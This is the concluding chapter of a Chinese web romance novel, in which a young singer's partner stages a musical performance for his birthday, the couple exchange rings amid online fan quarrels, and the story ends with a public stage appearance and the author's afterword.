幕后的乐队鱼贯而入,音乐声骤然响起。 二人在顶光灯下对视了一眼,循着剧中母子二人争执完毕的时间踏进节拍,默契地向彼此靠近,却又在下一秒分开,各自独白,想要将原本的音乐剧演完! 这场戏林曼妙曾排练过无数遍,开口时手到擒来,悲伤、愤怒、心疼,深爱……所有人都被她的情绪感染。 追光灯凝结在她的脸上,下一秒忽然灰暗,点亮了站在一旁的陶真。 他深吸一口气,张开唇。 众人顿时紧张了起来。 临时抱佛脚学了几天音乐剧的佟夏和顾行舟最为心惊胆颤,他们知道这看似简单的一首曲子到底要练习多久,生怕陶真会在台上唱不出口。一旁的“在人间”剧团的演员们也牢牢地盯着台上,忧心忡忡……就连陶大俊都情不自禁地捏紧拳,踮起脚,和一侧的林曼妙一起,目光灼灼地望向陶真。 唯有祝闻声姿态平静,在心中默念。 三,二,一。 “你可否听见我啊——” 少年的音色如黄鹂出谷,力道却又仿佛能冲破云霄。哪怕有林曼妙珠玉在前,他的这一声却毫不逊色。清朗的少年音在刹那间撕裂了方才的寂静,仿佛一记重重的耳光,扇在所有怀疑他的人脸上。 一长段无论对谁来说都极为艰难的独白从他口中如同流水般潺潺淌了出来,所有人都被这一记耳光扇愣了,怔怔地呆在原地,祝闻声倒是微微地笑了起来。 佟夏和顾行舟回过神,情不自禁地望向他:“我们知道真宝以前就喜欢音乐,但他这是怎么……” 怎么做到的?怎么会这么厉害? 祝闻声一错不错地注视着台上,半晌才低声道:“他每天晚上都练。” “没有人教没关系,他自己看视频练。” 在没有人看见的角落,陶真就这样,练了一年又一年。 剧团里的众人都陷入了震撼,在陶真这段酣畅淋漓的独白结束之后才如梦初醒,循着之前的配合上台:家族中的其他人叽叽喳喳、阴险狡诈;王室暴躁易怒、乖戾嚣张…… 佟夏和顾行舟没再丢人现眼,由真正的“玛格达”和“薇薇安”取而代之。卡尔洛原本也是由剧团里的专业演员饰演的,但祝闻声先他一步站了出来,上了“绞刑架”。 道具鲜血,染红了他胸口的那朵白玫瑰。 这朵血玫瑰本该滚落在地,而陶真饰演的莱恩轻轻地将它捡起,亲吻了一口,别在了领间。 剧情很快便来到最后的高潮,莱恩在刑场上与卡洛琳夫人敞开心扉,解决了囚困心中的痛苦,双人合唱。 最后一个音符落下的时候,整个世界陷入了安静。 台下没有观众,台上的所有人都在鼓掌,幕布适时地放下。陶真维持着向空无一人的剧场鞠躬谢礼的动作,久久地站在原地,没有回过神。 许久,一旁的林曼妙直起身,走到他身边,用力地抱住他,温柔道:“小真,妈妈在更大的舞台等你。” 女人的身上带着独特的香气,只要靠近就知道这是妈妈的味道。 陶真好不容易平复下的心情重新有了波动,鼻尖不自觉地酸了,也伸手用力回抱住她:“我会努力的,妈妈。” 林曼妙笑了,她拍了拍陶真的后背,就像他小时候做的那样。 一旁的陶大俊等人也走了上来,囫囵地将他抱起,七嘴八舌地说起了话。 陶真一一应了,不知被哪句话逗乐了,破涕为笑。 只是眼前还是朦胧的,努力眨了眨,才终于看清站在人群之外,温柔注视着他的黑发青年。 陶真微微一顿,弯起眼,侧过头对身旁的众人说了些什么。 大家露出了然的神情,鱼贯而出地下了台,将幕布后的位置留给了他们二人。 陶真感激地和大家挥别,见所有人都离开了,他往前走,渐渐变成跑,最后飞扑过去,投进了祝闻声怀里。 佟夏,顾行舟,陶大俊,林曼妙……朋友和家人都很爱他,都为他努力,这些陶真都记在心里,但不可否认的是,今天的一切都是祝闻声组织的,他才是最大的功臣。 陶真本以为与祝闻声一起扮演成卡尔洛和莱恩,就已经是今天最大的惊喜,可很快,祝闻声一言不发地将他带到了眼前的剧院里。 身临其境地体验过剧场的环境之后,他其实已经相当满足,可祝闻声却嫌不够,甚至还拉来了佟夏和顾行舟,一起为他表演。 知道他的梦想是站在台上和林曼妙演出,所以祝闻声为他请来了整个“在人间”剧团。 这些,远不止陶真一开始设想的“cos委托”。 这分明是祝闻声,拉着整个世界,为他一个人造梦。 想通了这一点,陶真忍不住有些眼热,下意识地开口:“阿声,谢……” 祝闻声却单手扣住了他的后脑,将他抱得更紧了一些,止住了他即将出口的道谢:“宝贝,生日快乐。” 青年垂下眼,一双幽沉的眸里泛着些许温和的笑意:“今天开心吗?” 陶真更想哭了,用力地点了点头,有些鼻音:“开心!” “开心就好,”祝闻声微微弯起唇,往后退了一步,伸手理了理陶真有些凌乱的发丝,“我有一个礼物要送给你……” 陶真懵然抬起头,乌溜溜的杏子眼瞪圆:“怎么还有?” 祝闻声扬了扬眉,显然对这个“还”不置可否:“刚刚那些不算,只是让你先体验一下。” “接下来的这段时间里,这个剧场,这个剧团,全部都是属于你的。包括暗涌在内的音乐剧版权我都已经买下来了,你想要怎么演,在哪里演,都没有问题。” 这话一出,犹如惊雷在耳畔炸开。陶真整个人都已经呆在原地了,可祝闻声却好像对自己说了什么毫无概念,依然没有停下:“对了,你还记得之前在网上发的粉丝抽奖活动么?” 陶真到喉结上下滚了滚,有预感自己要听到什么很了不得的事情,心脏在扑通扑通地狂跳: “记得,我不知道该给大家发什么福利,小鱼和我说公司帮我准备……” “嗯,”祝闻声慢条斯理地开口,“公司准备,为你的粉丝发放免费的音乐剧观看门票,来回路费,以及随行的伴手礼。” 陶真彻底呆了。 请他粉丝来看的免费音乐剧,是谁演的不必多言。他几乎有些眩晕,嘴唇上下张了张,好几次都没能发得出声音。 这副模样,令人分不清他收到的到底是惊喜还是惊吓。祝闻声微微一怔,又道:“当然,如果你不想让他们来看的话也没关系,随行的伴手礼已经都准备好了,可以寄……” “不、不是不想!” 陶真的呼吸略微有些急促,用力地牵住祝闻声,心里溢满了又甜又酸的情绪,涨到他一时间竟说不出话,干脆攀上祝闻声的脖颈,用力亲了一口,“……你怎么对我这么好呀?” 这得花多少时间,花多少钱,花多少心力。 包下剧院供他演出,请来上千个喝彩的观众,就为了替他圆梦。 祝闻声一顿,慢慢勾起唇角,竟学着陶真以前的语气说:“我不对你好,谁对你好?” 陶真显然也想到了自己之前得意洋洋的模样,莫名有点羞耻,脸蛋微微涨红,抓住祝闻声的领子直接亲了上去。 祝闻声也垂下眼,张开唇迎合这个吻。然而,两人正亲得难舍难分之际,远处突然响起了一阵此起彼伏的干咳声。 “哎,这两人抱得真白…不对,这地砖真紧……” “差不多…准备吃饭了啊……” “还有长辈在这儿呢,那什么……” “……” 就算脸皮再厚,被这么多人围观着,也该吻不下去了。 陶真匆匆地抹了一把嘴,维护着自己仅剩无几的自尊心,带着祝闻声下了台。 这会儿已经是中午了,陶大俊他们刚刚订好了餐厅,正打算去聚餐。刚好剧团那边准备了几辆商务中巴,可以一口气将在场众人都捎过去。 陶真和祝闻声自然也没有打算搞特殊。但在排队准备上车时,陶真忽然想起了什么,又临时变了卦,支支吾吾地让大家先去,自己则要拉着祝闻声找他们自己的车。 话是这么说,大家却以为他们俩要找个安静的地方继续刚刚没做完的事情,心领神会地“哦”了一声。 祝闻声也挑了挑眉,将聚餐地点发给赵钊和黎旻之后,相当自觉地跟上了陶真的脚步。 陶真感觉自己一辈子的老脸都在今天丢尽了。 两人刚回到车上,祝闻声便俯身靠过来,眼里含了点笑意,俨然是想继续深吻。 陶真脸蛋涨得通红,难得将祝闻声往后推了推,一边伸手去够放在后座的包,一边闷声闷气地解释:“你怎么也这么想!我又不是大色魔……” 车里的空间到底不如外面宽敞,灼热的呼吸喷洒在两人之间。 祝闻声幽沉的眸里含了点笑意,刚想说些什么,就忽然看见自己的跟前出现了一个深蓝色的首饰盒。 他不由愣住:“这是……?” 陶真呼出了一口气,眉眼弯弯,语气里颇有些得意:“这是我为你准备的礼物呀。” 祝闻声张了张唇,目光牢牢地定在陶真的身上,下意识地重复了一遍:“你……为我?” 的确,从今早开始,他就觉得陶真似乎有什么事情瞒着他。可他怎么也没有想过,会是陶真为他准备了礼物。 他又不过生日,按理来说,这两个字与他毫无关系。 “干嘛,只许州官放火不许百姓点灯啊?”陶真笑眯眯的,“拆开看看呀。” 祝闻声抿住了唇,有点谨慎地从陶真的手里接了过来,缓慢地打开。 映入眼帘的,赫然是那天,他曾在设计图上看见过的颈环和戒指。 “……” 东西拿到手后,因为种种原因,陶真也是第一次见,这会忍不住屏住呼吸,微微上前。 实物完美复刻了设计图——不,甚至比设计图还要惊艳。颈环质地上乘,皮质色泽极亮。在停车场有些黯淡的光线下,戒圈闪烁着神秘的光泽,细细的链子坠如流苏,中间的红宝石流光溢彩。 东西是好看的,就是…… 陶真有些忐忑地问:“你喜欢吗?” 祝闻声恍然回神,语气郑重:“喜欢。” 他很喜欢。 跟见到陶真一样,只看第一眼,就特别喜欢。 “那我帮你戴上好不好呀?”陶真又问。 祝闻声半晌用力地点了点头,弯腰向陶真露出自己的脖颈。陶真舔了舔唇,有些紧张地替他扣好颈环两边的扣子,将那两枚戒指取了下来,本想接着替祝闻声戴,却被青年握住了手腕。 祝闻声的声音有些哑:“让我来。” 两枚戒指,一人一只,套上无名指。 仔细看去,戒圈上还环绕着一圈细小的刻痕,是他们两人的名字。 “那次,你不是说,”陶真注意到他的目光,为他解释,“等有空的时候,你去定制一个项圈,在上面写我的名字吗?” “我还是觉得在项圈上刻字不好看,所以选了戒指。在戒圈上写了我们俩的名字。” “你戴我的,我戴你的。我们不在一起的时候就戴在手上,这样别人就知道我们是属于彼此的了。” 世界在此刻寂静,唯有少年的声音在耳畔。 祝闻声慢慢地抬起头,望着少年一张一合的唇瓣看了几秒,忽然闭了闭眼,俯身,近乎虔诚地吻了上去。 半晌,一吻毕,祝闻声低声说:“……陶真,谢谢你。” 谢谢你能出现在我的生命里。 “……” 陶真一怔,反应过来,捧住他的脸,甜甜地笑起来,“祝闻声,我也爱你。” 他们本就是世界上最亲密的两个人,愿意为彼此付出一切,所以不需要客气,也不需要道谢,只需要说爱就足够。 第 69 章【正文完】 69 ? 第 69 章 ◎原来太子爷和穷学生真的可以是同一个人。◎ 在停车场耽搁了许多时间, 等两人回过神来,手机上已经多了两通未接通话。知道再这样下去清誉不保,他们没再磨蹭, 回复了两句便直接启动车辆,前往预订好的餐厅。 路上, 两人因为亲吻而过热的脸颊和身体渐渐地恢复原状,但是心中的那股近乎热切的喜悦却并没有消失。 红灯时,祝闻声忍不住抬起自己放在方向盘上的手, 珍惜地摸了摸锁骨上的颈环,又认真地端详着无名指上闪烁着细碎流光的戒指, 眸光专注。 从颈围到戒圈,每一寸都刚好贴合,是陶真为他量身订造的——这个念头浮现在脑海的刹那,他整个人都像是被浸泡进了蜜罐里, 生出了一种难以言说的满足。 但很快他也意识到一个盲点, 看向身侧的陶真:“所以, 那天是你拜托赵钊把我带到那间工作室的吗?” 陶真没有再隐瞒:“是。” “你的手指纬度我晚上可以量,但是颈围这些不知道该从哪里下手比较好, 而且…半夜拿根绳子在你身上比划来比划去,总感觉像是要谋杀你。” 反正现在东西都已经拿到手了, 陶真干脆一五一十地说出自己的心路历程,“所以后来没办法了,想起来之前在网上和赵钊哥加过联系方式,只好拜托他。他人真好,听我说完以后立刻就答应了!不过……” 说到最后时, 陶真忽然有些迟疑地挠了挠脸颊, 语气里带着些许不确定:“不知道为什么, 我只是想让他带你去量一下尺寸而已,但他好像失去了自己的尊严。” “对了,”陶真直起身,“你那天还说他可能得失心疯了……他到底怎么了??” 祝闻声微微一顿,立刻想起了那天晚上跟娇俏小零依偎在一起、深情款款的直男赵钊。 红灯跳绿,他重握方向盘,深呼一口气,还是没忍住笑出了声。在陶真茫然的目光中草草地解释了一遍,评价道: “嗯,他的确是为我们献身了。” “……” “阿嚏!” 另一头,刚刚下车到聚餐地点没多久的赵钊突然打了个喷嚏。 他下意识地看了一圈四周,没发现什么可疑的人物,又将信将疑地收回了目光。 佟夏和顾行舟刚刚接完黎旻,这会在门口等他。他们几人虽然没有在现实里见过面,但都在网上听过彼此的名字,打了个照面之后便认出了彼此,聊了几句天之后迅速熟络,一块进了包厢。 赵钊被众人分散了注意力,原本已经快忘了刚刚那股莫名不祥的预感,但才刚刚在座位上坐下,他就又连续打了好几个喷嚏,总感觉自己有种被人扒光了衣服扔到大街上的感觉,颇有些不安。 一旁的佟夏注意到他的紧张,体贴地给他递了张纸巾:“怎么啦?你还好吧?” 少女一袭长裙,模样清丽出尘。 赵钊立刻感觉这些天设计师留在他心中的阴影消失殆尽,笑着从女孩手里接过了纸巾:“没什么。” 怎么感觉有人在背后说他呢,应该是错觉吧。 …… 陶真和祝闻声两人姗姗来迟,作为迟到的惩罚,被大家围着罚了一圈酒。 罚了一圈还不够,他们手上的戒指被朋友们看见,又被八卦的众人叫嚷着从头到尾敬了个遍。 场上热热闹闹,满是欢呼与尖叫,陶大俊莫名有种嫁儿子的感觉,时而兴奋时而心酸,感慨地让服务员拿了二锅头跟陶真闷头对吹。 最后还是一旁的林曼妙看不下去了,从他手里抢过杯子,跟陶真轻轻碰了杯,笑着示意他站回祝闻声的身边。 陶真眉眼弯弯地笑了。 他到底喝得太多,雪白的小脸弥漫上粉色,乌溜溜的杏眼水润,往后退时微微踉跄了一步,还好祝闻声牵着他。 两人彼此依偎着站稳,手心传来滚烫的触感,共享着心跳和体温,相视而笑,在亲朋好友的见证之下,喝了交杯酒- 大暑这天过去,整个南城迎来了一年当中阳光最猛烈、天气最炎热的时间。 陶真过生日给粉丝们准备的福利抽奖活动结果也已经出来了。当名单和礼物一块公布出来的时候,整个话题都炸了,许多人疯狂刷屏,话题热度飙升,甚至直接冲上了热搜。 有些对陶真并不了解的路人心想这人是谁,满脸疑惑地点进来,结果看了一圈,一脸震惊地被圈了粉。 无他,他们还从来没有看过有哪个音乐博主会为粉丝做到这个份上的,就算是娱乐圈里以“宠粉”为卖点的大明星也比不过—— 包下南城最大的剧院,买下音乐剧的版权,请来一向在国外巡演的“在人间”剧团一起表演;免费请上千个粉丝到现场来观看,不仅补贴他们的路费,还会给他们准备伴手礼。 这已经不是土豪两个字可以形容的了,这简直是壕无人性! 哪怕是从一开始就粉上陶真、知道他家里很有钱的初代老粉们也不敢想象他能做到这一步,在话题和抽奖官博下疯狂评论,担心他到底能不能负担起这么大的费用。 但还没来得及等到陶真的回复,就有在Z时代里工作的内部人员,一个名叫“烦人同事在天堂”的博主出来安抚他们:【大家放心哈,绝对负担得起,因为这个是我Boss安排的……具体细节不能说,但你们放心,天塌了他都不会塌……】 虽然这位“烦人同事在天堂”从来没有暴露过自家Boss的隐私,但是网友们一窝蜂地涌进了她的主页,还是有细心的人从她的点赞中发现了蛛丝马迹。 她竟然是那位太子爷和真知棒的CP、“太真了”的CP粉。那么毫无疑问,她口中的Boss自然是太子爷。 那可是太子爷,他能为真知棒一个普通合作伙伴负担这些? 除了“太真了”的CP粉,路人以及陶真的其他粉丝都是不相信的。 反抗最激烈的无疑是真摄情的粉丝,他们纷纷冷笑,一个怼得比一个言辞犀利: 【姐妹,骗骗别人可以,别把自己也给骗了,认准真知棒唯一官配摄影师好吗?需要我把我们真摄情绝美热搜GIF动图再给你发一遍复习一下么?】 【666演都不演了,为了嗑CP什么饭都敢吃,也不怕被假糖毒死。太子爷和我们家真知棒有0个关系,别来沾边好吗??】 【……】 太真了的CP粉也不甘示弱: 【我还以为怎么了呢,原来是我们太真了这么好磕。你们不爱看不看不就行了吗?怎么这么关注啊?不会是破防了吧?】 【你们那个摄影师又是煮面条,又是在线下拿小真赚到的三千块,到底哪里有人格魅力了?太子爷每次都是小真的榜一大哥,花的钱恐怕比你们“正牌男友”花的都多,怎么不能磕了?!】 若是之前,两家最多也就是私下暗戳戳地阴阳怪气一下彼此。但现在话题的热度这么大,两方一吵,就把冲突拉扯到了明面上来。 于是,陶真好不容易和祝闻声忙完了抽奖相关的事情,高高兴兴地上线,看到的就是两方粉丝吵的鲜血淋漓、尸体横飞的战场,而祝闻声在两方人马的对峙中,成为了最无辜的牺牲品。 陶真忍不住愣在原地,有点不死心地退出去刷新了一下,切回来发现还是这样,不得不面对现实。 怎么能,吵得这么厉害。 大家明明磕的都是同一对CP,能不能,别吵了呢? 他想直接用大号发声明,但在编辑的时候又想起了小鱼之前说过的话,知道人都有逆反心理,他越强势就越容易起到反效果,想了想,干脆切换了一个小号,以粉丝的口吻发了一段在他看来天衣无缝、足以引领节奏的话。 知道这种小号可能没什么流量,他甚至还特意花了二百五十块钱给自己冲上了话题热门。屏息凝神地等待了一个小时,料想现在场上的局面已经完全逆转,才满怀信心地重新登了上去。 【真摄情今天do爱了吗:呵呵呵,建议你没事去医院治治脑子,“其实太子爷和摄影师是同一个人”……这种话你竟然也能说得出来??为了给你们家CP贴金,已经不择手段来碰瓷官配了是吧??】 【太真了豹豹猫猫我出生了:妈呀,别把为老婆花钱的太子爷和抠搜男扯为一谈好吗好的,谁稀罕和这官配碰在一起啊,又没结婚,小真最后跟谁在一起还不一定呢!!】 【一口吃掉真知棒:他爹的,能不能别在我们小真个人tag里提那两位了??小真独美好吗?!最讨厌贴主这种看似正义、实则混乱邪恶的理中客了,滚啊!!!】 “……” 陶真一脸茫然,手机“啪”地一下滑到了床上,有点呆滞地直视着前方,俨然一副被生活捶打老实的模样。 这个世界真的出问题了,说真话没人相信也就罢了,一共也就两对CP,竟然有三拨人都在骂他! 偏偏这些还都是他的粉丝,他也不好跟人家吵架,只能自己默默地咽下这口闷气,好声好气地跟她们分析自己到底为什么要那么说,可惜越努力越不幸,等祝闻声回来的时候,他已经被喷麻木了。 向来高兴活泼、像只叽叽喳喳小麻雀的少年笑也不笑了,坐在床上呆呆的抱着手机,俨然一副遭受重大打击、被人欺负的模样。 祝闻声快步上前:“怎么了?” 陶真没忍住冲祝闻声张开双臂,窝在青年怀里一五一十地说着刚刚发生的事,语气委屈巴巴的。 但讲完以后,他自己又觉得有点矫情,不好意思地找补:“当然我没有生气,只是有点着急——怎么都不相信我说的话呢,为什么会把你当成两个人……” 原来是这件事…… 祝闻声微微勾起唇,一时间竟没应声。 陶真注意到了祝闻声的神色,敏锐地意识到了不对,从他怀里窜起身,居高临下地望着他,语气里带了几分怀疑: “你怎么这幅表情?等等……你是不是早就知道了?!” 祝闻声不说话了,陶真却觉得脑海中的念头越发明晰,甚至不由自主地捏住了祝闻声的脸颊用力扯了扯。 想想也是,不然那天晚上祝闻声怎么会莫名其妙地问他到底是更喜欢太子爷还是喜欢穷小子? 陶真控诉道:“知道了都不告诉我,阿声,你太坏了!” 脸上的触感充其量只能算是被小猫肉垫打了几下,祝闻声忍不住笑起来,捂住陶真的手背亲了一口,在他怔愣之际,翻身将他压在了沙发上。 四周灯光暗淡,空调的冷风呼呼作响,两人贴在一块,灼热的身体很快就摩擦发烫,有微潮的汗渗出来。祝闻声的指尖插入陶真后脑蓬松柔软的金发,轻轻地抚摸了一会儿,又用另一只手握住他的下巴,逼迫他张开嘴巴迎合。 如此缠绵而潮热的一个吻过后,青年才直起身,幽沉的黑眸里闪烁着情欲的光晕,声音又低又哑,好像一把小钩子轻轻地搔着人的心头:“这就坏了吗?” “还有更坏的。” 陶真一怔,来不及问更坏的是什么,因为很快他就体验到了。 四周的温度即使开了空调也没法降下来,两人自从开始忙碌之后就又有两三个星期没有亲近过,陶真再次变得难以适应祝闻声,被他抱在怀里的时候,眼泪不受控制地涌出来,又被他轻轻地舔吻掉。 沙发这里的空间很狭窄,而且是平常两人吃饭、聊天的地方。陶真不喜欢在这里,可这次无论他怎么撒娇卖可怜,祝闻声都没有同意和他回卧室,反而将他摁在柔软的沙发上。毕竟少年皮肤白皙,与深棕色的皮质沙发反差极大,能激发出人内心最恶劣的占有欲。 “阿声……” 到最后时,陶真肩胛骨和锁骨前都是吻痕,还被翻了个面,他有点哽咽地摸上自己有些凸起的肚子,哭得好厉害,“我要坏了……” 祝闻声只吻他的唇,低声哄他:“乖宝宝,不会。” …… 第二天,陶真爬起来的时候照常煮了红糖鸡蛋。 他这次真的很生气,所以只给了祝闻声红糖水,没有给他鸡蛋,自己一口气把锅里的四个鸡蛋全都吃完,才气哼哼地去了剧院。 祝闻声端着一碗飘着蛋花的红糖水看了半晌,失笑。 他也知道自己做过了头,中午的时候带着自己亲手做的饭菜和给整个剧团的应援一块去了剧场。 昨天晚上的确有些太狠了,陶真一早上起来嗓子都差点哑了,好不容易才恢复状态;身上也哪哪都疼,排练了一早上差点背过气。 但他说到底还是心软,看见祝闻声低眉顺目地过来给他送饭之后,也很难继续生气,接过午饭美滋滋地吃了起来。 剧团里的其他人也跟着沾了光,午饭吃的都是附近有名中餐厅的私人料理,饭后甜点是符合音乐剧时代的宫廷下午茶……阵仗有些大,有些粉丝发现了,不可避免地将这事传上了网。 这回轮到真摄情的粉丝扬眉吐气了,他们跟太真了的粉丝又撕了一通,把祝闻声是个UFC格斗选手的证据拍在对家的脸上。 到底是格斗选手好,还是太子爷好,两方分不出个所以然来,吵得更加厉害了。 倒是有小部分人发出了“真的不能都要吗”的疑问,但很快就跟陶真的小号一样,被活活摁死在了话题里。 她们就这样保持着三天一小吵、五天一大吵的频率,终于,到了陶真正式演出的那一天。 哪怕是在线上吵得再凶,闹到了要“线下单杀”的地步,在真正见面的这一天,众人不约而同地选择了休战,不管身边的人到底磕哪对CP,都高高兴兴地上前打招呼。 剧院外人山人海,上千人排队入场,不少人的手上都拿着手幅、海报等应援物品,在排队的时候给身边的同担发无料。等入场之后,馆内又极为安静,秩序井然。 毕竟这是陶真花费心力、金钱,努力为所有粉丝准备的福利,她们不想浪费他的一片心意。 很快,演出正式开始。 金碧辉煌的剧院大厅暗下来,上千个来自天南海北、五湖四海的陌生人,因为同一个人来到这里。他们都屏息凝神地望着台上,目光专注。 从陶真出场那一刻的激动和兴奋,到他与朋友结识的欢笑和感动,到他被母亲发现时的悲伤和愤怒……恍然间,懂或不懂音乐剧都没关系,在少年清朗的歌声中,所有人都不由自主地沉浸在《暗涌》的世界里。 陶真唱的比他们想象当中的好,比所有人想象当中的都要好。 剧情进入高潮时,所有人的呼吸都已经被他的一举一动所攥紧,情不自禁地瞪大了眼睛。 在演到莱恩发觉母亲代替自己上绞刑架时,他在台上陷入了巨大的崩溃,与母亲合唱最后一首歌曲,台下的观众们也热泪盈眶,泪流满面。 演出结束,所有演员到台前谢幕。 台下的掌声如雷鸣般经久不绝,欢呼和尖叫潮水般此起彼伏。 陶真朝所有人深深地鞠躬。 在其他剧团的演员们退场之后,他才慢慢地直起身,望向台下的观众。 他没有什么煽情的话,只认真地说:“非常感谢大家。” 谢谢大家能来到这里,谢谢大家一直以来的支持和关心,谢谢大家的喜欢。 喜欢是一件很奇妙的事情,人与人的缘分开始,可能只始于互联网上偶然的一眼。 可不是每一段缘分,都能够跨越千山万水,来到面前。 陶真又为大家唱了几首呼声最高的歌曲,并且与台下互动了许久,然而即使再不舍,今夜也到底会结束。 即将谢幕之前,他再次向所有到场的观众、“在人间”剧团的各位演员道谢,并弯下腰,向池座处的祝闻声伸出了手:“最后,我想特别邀请我的恋人,祝闻声。” 台下一片哗然,纷纷起身去看。 而祝闻声微微一怔,微笑起来,牵住陶真,与他一起上了台。 追光灯里的金发少年耀眼夺目,与初见时一般温暖,只是此刻身侧多了一人形影相随。 “是他帮我组织这一切,是他帮我圆梦……” 说到这里时,陶真转过身,看向祝闻声,眉眼弯弯,“并且,一直以来都陪在我的身边。” 金色大厅里,世界寂静。 祝闻声垂下眼,眉眼温柔:“以后,也会一直都陪在你的身边。” 因为,你就是我的梦- 最后。 音乐剧演出结束,陶真的个人话题再度冲上热搜,而#真摄情#和#太真了#两个话题,则陷入了诡异的死寂和难言的尴尬。 两方人马憋得好难受,原先的第三次世界大战战况还历历在目,但现在谁也喷不出口,每个人都颤颤巍巍的,感觉脸颊好痛。 他们有点想笑,又有点想哭,不知道该如何开口。半晌,不知是谁率先翻出了众人曾嗤之以鼻的那条博文,他们才终于找到了突破口,含着泪重新将它轮转到了话题热门,所有人都复制着同一条评论: 【我信了,原来太子爷和穷学生真的可以是同一个人。】 ——正文完—— 【📢作者有话说】 正文完结啦,好不舍。留言掉落小红包哦~[抱抱][抱抱] 番外暂定隔日更新,目前有一个官宣番外,一个阿声养成小真、发现小真“包/养”别人的IF线(这个竹马养成又给我写爽了),一个婚礼番外,也许还有大真vs小声,大家还有什么想看的吗?[可怜]